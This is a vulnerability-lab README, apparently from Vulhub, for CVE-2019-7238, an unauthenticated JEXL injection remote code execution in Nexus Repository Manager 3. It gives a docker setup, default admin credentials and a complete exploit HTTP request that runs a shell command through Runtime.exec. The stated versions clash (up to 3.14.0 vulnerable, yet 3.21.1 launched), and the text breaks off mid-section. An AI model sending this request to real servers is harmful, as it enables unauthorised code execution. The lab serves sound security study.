Aaron
63285f61aa
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
59 lines
2.2 KiB
Markdown
59 lines
2.2 KiB
Markdown
# Nexus Repository Manager 3 Unauthenticated Remote Code Execution (CVE-2019-7238)
|
|
|
|
[中文版本(Chinese version)](README.zh-cn.md)
|
|
|
|
Nexus Repository Manager is a repository manager that organizes, stores and distributes artifacts needed for development.
|
|
|
|
In the version <= 3.14.0, insufficient access control and JEXL expression injection issue have been discovered in Nexus Repository 3 that allows for an unauthenticated attacker to execute arbitrary code by crafting a malicious request to Nexus Repository.
|
|
|
|
References:
|
|
|
|
- https://support.sonatype.com/hc/en-us/articles/360017310793-CVE-2019-7238-Nexus-Repository-Manager-3-Missing-Access-Controls-and-Remote-Code-Execution-February-5th-2019
|
|
- https://xz.aliyun.com/t/4136
|
|
- https://www.anquanke.com/post/id/171116
|
|
- http://commons.apache.org/proper/commons-jexl/
|
|
|
|
## Vulnerable environment
|
|
|
|
Execute following command to start a Nexus Repository Manager version 3.21.1:
|
|
|
|
```
|
|
docker compose up -d
|
|
```
|
|
|
|
After the server is started, browse `http://your-ip:8081` to see the home page of Nexus. Login the admin panel with account `admin:admin123` and finish the initialize wizard.
|
|
|
|
Then, upload a JAR package through maven-releases:
|
|
|
|
|
|
|
|
To exploit this issue, Nexus Repository should have at least one package.
|
|
|
|
## Exploit
|
|
|
|
Send following request to execute `touch /tmp/success` command, no authentication needed:
|
|
|
|
```
|
|
POST /service/extdirect HTTP/1.1
|
|
Host: localhost
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:63.0) Gecko/20100101 Firefox/63.0
|
|
Accept: */*
|
|
Content-Type: application/json
|
|
X-Requested-With: XMLHttpRequest
|
|
Content-Length: 368
|
|
Connection: close
|
|
|
|
{"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":50,"sort":[{"property":"name","direction":"ASC"}],"filter":
|
|
[{"property":"repositoryName","value":"*"},{"property":"expression","value":"233.class.forName('java.lang.Runtime').getRuntime().exec('touch /tmp/success')"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":8}
|
|
```
|
|
|
|
As you can see, `/tmp/success` is executed:
|
|
|
|
|
|
|
|
The principle is that the JEXL expression in the expression position is executed, please refer to the documentation for details.
|
|
|
|
Use BCEL classloader to archive printable response:
|
|
|
|
|